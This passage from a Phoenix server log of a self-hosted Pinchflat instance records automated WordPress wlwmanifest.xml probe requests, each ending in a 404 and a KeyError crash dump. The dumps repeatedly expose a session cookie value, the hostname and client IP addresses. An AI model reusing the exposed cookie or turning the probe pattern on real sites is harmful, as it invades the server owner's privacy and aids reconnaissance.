{PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7974.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//2018/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 47490}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /2018/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7974.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//2018/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 47490}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3N (truncated) 11:19:19.522 [info] GET //2019/wp-includes/wlwmanifest.xml 11:19:19.523 [debug] QUERY OK source="settings" db=0.1ms idle=340.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:19:19.523 [debug] QUERY OK source="settings" db=0.0ms idle=340.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:19:19.523 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 11:19:19.523 [error] #PID<0.7977.0> running PinchflatWeb.Endpoint (connection #PID<0.7976.0>, stream id 1) terminated Server: tubedock.hartupee.com:80 (http) Request: GET //2019/wp-includes/wlwmanifest.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /2019/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7976.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//2019/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 47504}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE" }, halted: false, host: "tubedock.hartupee.com", method: "GET", owner: #PID<0.7977.0>, params: %{}, path_info: ["2019", "wp-includes", "wlwmanifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tubedock.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.5"}, {"connection", "keep-alive"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE"}, {"host", "tubedock.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"}, {"x-forwarded-for", "85.204.70.102"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "85.204.70.102"} ], request_path: "//2019/wp-includes/wlwmanifest.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMU1x8nMSBhQIRwAAwgB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7976.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//2019/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 47504}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /2019/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7976.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//2019/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 47504}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3N (truncated) 11:19:19.692 [info] GET //shop/wp-includes/wlwmanifest.xml 11:19:19.693 [debug] QUERY OK source="settings" db=0.0ms idle=478.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:19:19.693 [debug] QUERY OK source="settings" db=0.0ms idle=339.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:19:19.693 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 11:19:19.693 [error] #PID<0.7979.0> running PinchflatWeb.Endpoint (connection #PID<0.7978.0>, stream id 1) terminated Server: tubedock.hartupee.com:80 (http) Request: GET //shop/wp-includes/wlwmanifest.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /shop/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7978.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//shop/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 47506}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE" }, halted: false, host: "tubedock.hartupee.com", method: "GET", owner: #PID<0.7979.0>, params: %{}, path_info: ["shop", "wp-includes", "wlwmanifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tubedock.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.5"}, {"connection", "keep-alive"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE"}, {"host", "tubedock.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"}, {"x-forwarded-for", "85.204.70.102"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "85.204.70.102"} ], request_path: "//shop/wp-includes/wlwmanifest.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMU1x9Px3nNL7aQAADcD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7978.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//shop/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 47506}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /shop/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7978.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//shop/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 47506}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3N (truncated) 11:19:19.863 [info] GET //wp1/wp-includes/wlwmanifest.xml 11:19:19.863 [debug] QUERY OK source="settings" db=0.1ms idle=509.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:19:19.863 [debug] QUERY OK source="settings" db=0.0ms idle=340.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:19:19.863 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 11:19:19.863 [error] #PID<0.7981.0> running PinchflatWeb.Endpoint (connection #PID<0.7980.0>, stream id 1) terminated Server: tubedock.hartupee.com:80 (http) Request: GET //wp1/wp-includes/wlwmanifest.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp1/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7980.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//wp1/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 33202}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE" }, halted: false, host: "tubedock.hartupee.com", method: "GET", owner: #PID<0.7981.0>, params: %{}, path_info: ["wp1", "wp-includes", "wlwmanifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tubedock.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.5"}, {"connection", "keep-alive"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE"}, {"host", "tubedock.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"}, {"x-forwarded-for", "85.204.70.102"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "85.204.70.102"} ], request_path: "//wp1/wp-includes/wlwmanifest.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMU1x94XgsNvBfUAAwhB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7980.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//wp1/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 33202}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp1/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7980.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//wp1/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 33202}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2t (truncated) 11:19:20.028 [info] GET //test/wp-includes/wlwmanifest.xml 11:19:20.029 [debug] QUERY OK source="settings" db=0.1ms idle=505.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", 